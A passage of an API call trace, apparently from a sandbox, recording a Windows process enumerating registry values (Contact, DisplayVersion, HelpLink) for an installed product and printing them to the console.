pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.641] __iob_func () returned 0x7fefd702a80 [0147.641] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.641] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.642] _fileno (_File=0x7fefd702ab0) returned 1 [0147.642] _errno () returned 0xc4bb0 [0147.642] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.642] _errno () returned 0xc4bb0 [0147.642] GetFileType (hFile=0x50) returned 0x1 [0147.642] lstrlenW (lpString=" ") returned 4 [0147.642] GetConsoleOutputCP () returned 0x1b5 [0147.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.642] GetConsoleOutputCP () returned 0x1b5 [0147.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.642] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.642] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.642] lstrlenW (lpString="Contact") returned 7 [0147.642] __iob_func () returned 0x7fefd702a80 [0147.642] _fileno (_File=0x7fefd702ab0) returned 1 [0147.642] _errno () returned 0xc4bb0 [0147.642] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.642] _errno () returned 0xc4bb0 [0147.642] GetFileType (hFile=0x50) returned 0x1 [0147.642] lstrlenW (lpString="Contact") returned 7 [0147.642] GetConsoleOutputCP () returned 0x1b5 [0147.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.642] GetConsoleOutputCP () returned 0x1b5 [0147.643] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0147.643] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.643] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.643] __iob_func () returned 0x7fefd702a80 [0147.643] _fileno (_File=0x7fefd702ab0) returned 1 [0147.643] _errno () returned 0xc4bb0 [0147.643] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.643] _errno () returned 0xc4bb0 [0147.643] GetFileType (hFile=0x50) returned 0x1 [0147.643] lstrlenW (lpString=" ") returned 4 [0147.643] GetConsoleOutputCP () returned 0x1b5 [0147.643] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.643] GetConsoleOutputCP () returned 0x1b5 [0147.643] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.643] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.643] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.643] __iob_func () returned 0x7fefd702a80 [0147.643] _fileno (_File=0x7fefd702ab0) returned 1 [0147.643] _errno () returned 0xc4bb0 [0147.643] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.643] _errno () returned 0xc4bb0 [0147.643] GetFileType (hFile=0x50) returned 0x1 [0147.643] lstrlenW (lpString="REG_SZ") returned 6 [0147.643] GetConsoleOutputCP () returned 0x1b5 [0147.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.644] GetConsoleOutputCP () returned 0x1b5 [0147.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.644] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.644] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.644] __iob_func () returned 0x7fefd702a80 [0147.644] _fileno (_File=0x7fefd702ab0) returned 1 [0147.644] _errno () returned 0xc4bb0 [0147.644] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.644] _errno () returned 0xc4bb0 [0147.644] GetFileType (hFile=0x50) returned 0x1 [0147.644] lstrlenW (lpString=" ") returned 4 [0147.644] GetConsoleOutputCP () returned 0x1b5 [0147.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.644] GetConsoleOutputCP () returned 0x1b5 [0147.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.644] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.644] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.644] __iob_func () returned 0x7fefd702a80 [0147.645] _fileno (_File=0x7fefd702ab0) returned 1 [0147.645] _errno () returned 0xc4bb0 [0147.645] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.645] _errno () returned 0xc4bb0 [0147.645] GetFileType (hFile=0x50) returned 0x1 [0147.645] lstrlenW (lpString="") returned 0 [0147.645] __iob_func () returned 0x7fefd702a80 [0147.645] _fileno (_File=0x7fefd702ab0) returned 1 [0147.645] _errno () returned 0xc4bb0 [0147.645] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.645] _errno () returned 0xc4bb0 [0147.645] GetFileType (hFile=0x50) returned 0x1 [0147.645] lstrlenW (lpString="\n") returned 1 [0147.645] GetConsoleOutputCP () returned 0x1b5 [0147.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.645] GetConsoleOutputCP () returned 0x1b5 [0147.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.645] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.645] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.645] GetProcessHeap () returned 0x2e0000 [0147.645] GetProcessHeap () returned 0x2e0000 [0147.645] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.645] GetProcessHeap () returned 0x2e0000 [0147.645] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.645] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.645] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.645] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x20) returned 0x0 [0147.646] GetProcessHeap () returned 0x2e0000 [0147.646] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x22) returned 0x2f5bf0 [0147.646] GetProcessHeap () returned 0x2e0000 [0147.646] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.646] GetProcessHeap () returned 0x2e0000 [0147.646] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0147.646] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x20 | out: pdwType=0x23f5f0*=0x1, pvData="16.0.8431.2079", pcbData=0x23f670*=0x1e) returned 0x0 [0147.646] __iob_func () returned 0x7fefd702a80 [0147.646] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.646] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.646] _fileno (_File=0x7fefd702ab0) returned 1 [0147.646] _errno () returned 0xc4bb0 [0147.646] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.646] _errno () returned 0xc4bb0 [0147.646] GetFileType (hFile=0x50) returned 0x1 [0147.646] lstrlenW (lpString=" ") returned 4 [0147.646] GetConsoleOutputCP () returned 0x1b5 [0147.646] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.646] GetConsoleOutputCP () returned 0x1b5 [0147.646] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.646] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.646] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.646] lstrlenW (lpString="DisplayVersion") returned 14 [0147.646] __iob_func () returned 0x7fefd702a80 [0147.646] _fileno (_File=0x7fefd702ab0) returned 1 [0147.646] _errno () returned 0xc4bb0 [0147.647] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.647] _errno () returned 0xc4bb0 [0147.647] GetFileType (hFile=0x50) returned 0x1 [0147.647] lstrlenW (lpString="DisplayVersion") returned 14 [0147.647] GetConsoleOutputCP () returned 0x1b5 [0147.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.647] GetConsoleOutputCP () returned 0x1b5 [0147.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0147.647] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0147.647] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.647] __iob_func () returned 0x7fefd702a80 [0147.647] _fileno (_File=0x7fefd702ab0) returned 1 [0147.647] _errno () returned 0xc4bb0 [0147.647] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.647] _errno () returned 0xc4bb0 [0147.647] GetFileType (hFile=0x50) returned 0x1 [0147.647] lstrlenW (lpString=" ") returned 4 [0147.647] GetConsoleOutputCP () returned 0x1b5 [0147.647] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.647] GetConsoleOutputCP () returned 0x1b5 [0147.648] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.648] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.648] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.648] __iob_func () returned 0x7fefd702a80 [0147.648] _fileno (_File=0x7fefd702ab0) returned 1 [0147.648] _errno () returned 0xc4bb0 [0147.648] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.648] _errno () returned 0xc4bb0 [0147.648] GetFileType (hFile=0x50) returned 0x1 [0147.648] lstrlenW (lpString="REG_SZ") returned 6 [0147.648] GetConsoleOutputCP () returned 0x1b5 [0147.648] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.648] GetConsoleOutputCP () returned 0x1b5 [0147.648] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.648] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.648] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.648] __iob_func () returned 0x7fefd702a80 [0147.648] _fileno (_File=0x7fefd702ab0) returned 1 [0147.648] _errno () returned 0xc4bb0 [0147.648] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.648] _errno () returned 0xc4bb0 [0147.648] GetFileType (hFile=0x50) returned 0x1 [0147.648] lstrlenW (lpString=" ") returned 4 [0147.648] GetConsoleOutputCP () returned 0x1b5 [0147.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.649] GetConsoleOutputCP () returned 0x1b5 [0147.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.649] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.649] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.649] __iob_func () returned 0x7fefd702a80 [0147.649] _fileno (_File=0x7fefd702ab0) returned 1 [0147.649] _errno () returned 0xc4bb0 [0147.649] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.649] _errno () returned 0xc4bb0 [0147.649] GetFileType (hFile=0x50) returned 0x1 [0147.649] lstrlenW (lpString="16.0.8431.2079") returned 14 [0147.649] GetConsoleOutputCP () returned 0x1b5 [0147.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="16.0.8431.2079", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.649] GetConsoleOutputCP () returned 0x1b5 [0147.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="16.0.8431.2079", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16.0.8431.2079", lpUsedDefaultChar=0x0) returned 14 [0147.649] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0147.649] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.649] __iob_func () returned 0x7fefd702a80 [0147.649] _fileno (_File=0x7fefd702ab0) returned 1 [0147.649] _errno () returned 0xc4bb0 [0147.649] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.650] _errno () returned 0xc4bb0 [0147.650] GetFileType (hFile=0x50) returned 0x1 [0147.650] lstrlenW (lpString="\n") returned 1 [0147.650] GetConsoleOutputCP () returned 0x1b5 [0147.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.650] GetConsoleOutputCP () returned 0x1b5 [0147.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.650] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.650] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.650] GetProcessHeap () returned 0x2e0000 [0147.650] GetProcessHeap () returned 0x2e0000 [0147.650] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.650] GetProcessHeap () returned 0x2e0000 [0147.650] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0147.650] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0147.650] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.650] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.650] GetProcessHeap () returned 0x2e0000 [0147.650] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.650] GetProcessHeap () returned 0x2e0000 [0147.650] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.650] GetProcessHeap () returned 0x2e0000 [0147.650] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.650] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.650] __iob_func () returned 0x7fefd702a80 [0147.651] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.651] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.651] _fileno (_File=0x7fefd702ab0) returned 1 [0147.651] _errno () returned 0xc4bb0 [0147.651] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.651] _errno () returned 0xc4bb0 [0147.651] GetFileType (hFile=0x50) returned 0x1 [0147.651] lstrlenW (lpString=" ") returned 4 [0147.651] GetConsoleOutputCP () returned 0x1b5 [0147.651] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.651] GetConsoleOutputCP () returned 0x1b5 [0147.651] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.651] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.651] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.651] lstrlenW (lpString="HelpLink") returned 8 [0147.651] __iob_func () returned 0x7fefd702a80 [0147.651] _fileno (_File=0x7fefd702ab0) returned 1 [0147.651] _errno () returned 0xc4bb0 [0147.651] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.651] _errno () returned 0xc4bb0 [0147.651] GetFileType (hFile=0x50) returned 0x1 [0147.651] lstrlenW (lpString="HelpLink") returned 8 [0147.651] GetConsoleOutputCP () returned 0x1b5 [0147.651] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.652] GetConsoleOutputCP () returned 0x1b5 [0147.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0147.652] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.652] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.652] __iob_func () returned 0x7fefd702a80 [0147.652] _fileno (_File=0x7fefd702ab0) returned 1 [0147.652] _errno () returned 0xc4bb0 [0147.652] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.652] _errno () returned 0xc4bb0 [0147.652] GetFileType (hFile=0x50) returned 0x1 [0147.652] lstrlenW (lpString=" ") returned 4 [0147.652] GetConsoleOutputCP () returned 0x1b5 [0147.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.652] GetConsoleOutputCP () returned 0x1b5 [0147.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.652] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.652] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.652] __iob_func () returned 0x7fefd702a80 [0147.652] _fileno (_File=0x7fefd702ab0) returned 1 [0147.652] _errno () returned 0xc4bb0 [0147.652] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.652] _errno () returned 0xc4bb0 [0147.652] GetFileType (hFile=0x50) returned 0x1 [0147.653] lstrlenW (lpString="REG_SZ") returned 6 [0147.653] GetConsoleOutputCP () returned 0x1b5 [0147.653] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.653] GetConsoleOutputCP () returned 0x1b5 [0147.653] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.653] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.653] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.653] __iob_func () returned 0x7fefd702a80 [0147.653] _fileno (_File=0x7fefd702ab0) returned 1 [0147.653] _errno () returned 0xc4bb0 [0147.653] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.653] _errno () returned 0xc4bb0 [0147.653] GetFileType (hFile=0x50) returned 0x1 [0147.653] lstrlenW (lpString=" ") returned 4 [0147.653] GetConsoleOutputCP () returned 0x1b5 [0147.653] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.653] GetConsoleOutputCP () returned 0x1b5 [0147.653] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.653] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.653] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.654] __iob_func () returned 0x7fefd702a80 [0147.654] _fileno (_File=0x7fefd702ab0) returned 1 [0147.654] _errno () returned 0xc4bb0 [0147.654] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.654] _errno () returned 0xc4bb0 [0147.654] GetFileType (hFile=0x50) returned 0x1 [0147.654] lstrlenW (lpString="") returned 0 [0147.654] __iob_func () returned 0x7fefd702a80 [0147.654] _fileno (_File=0x7fefd702ab0) returned 1 [0147.654] _errno () returned 0xc4bb0 [0147.654] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.654] _errno () returned 0xc4bb0 [0147.654] GetFileType (hFile=0x50) returned 0x1 [0147.654] lstrlenW (lpString="\n") returned 1 [0147.654] GetConsoleOutputCP () returned 0x1b5 [0147.654] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.654] GetConsoleOutputCP () returned 0x1b5 [0147.654] WideCharToMultiByte (in: CodePage=0x1b5, 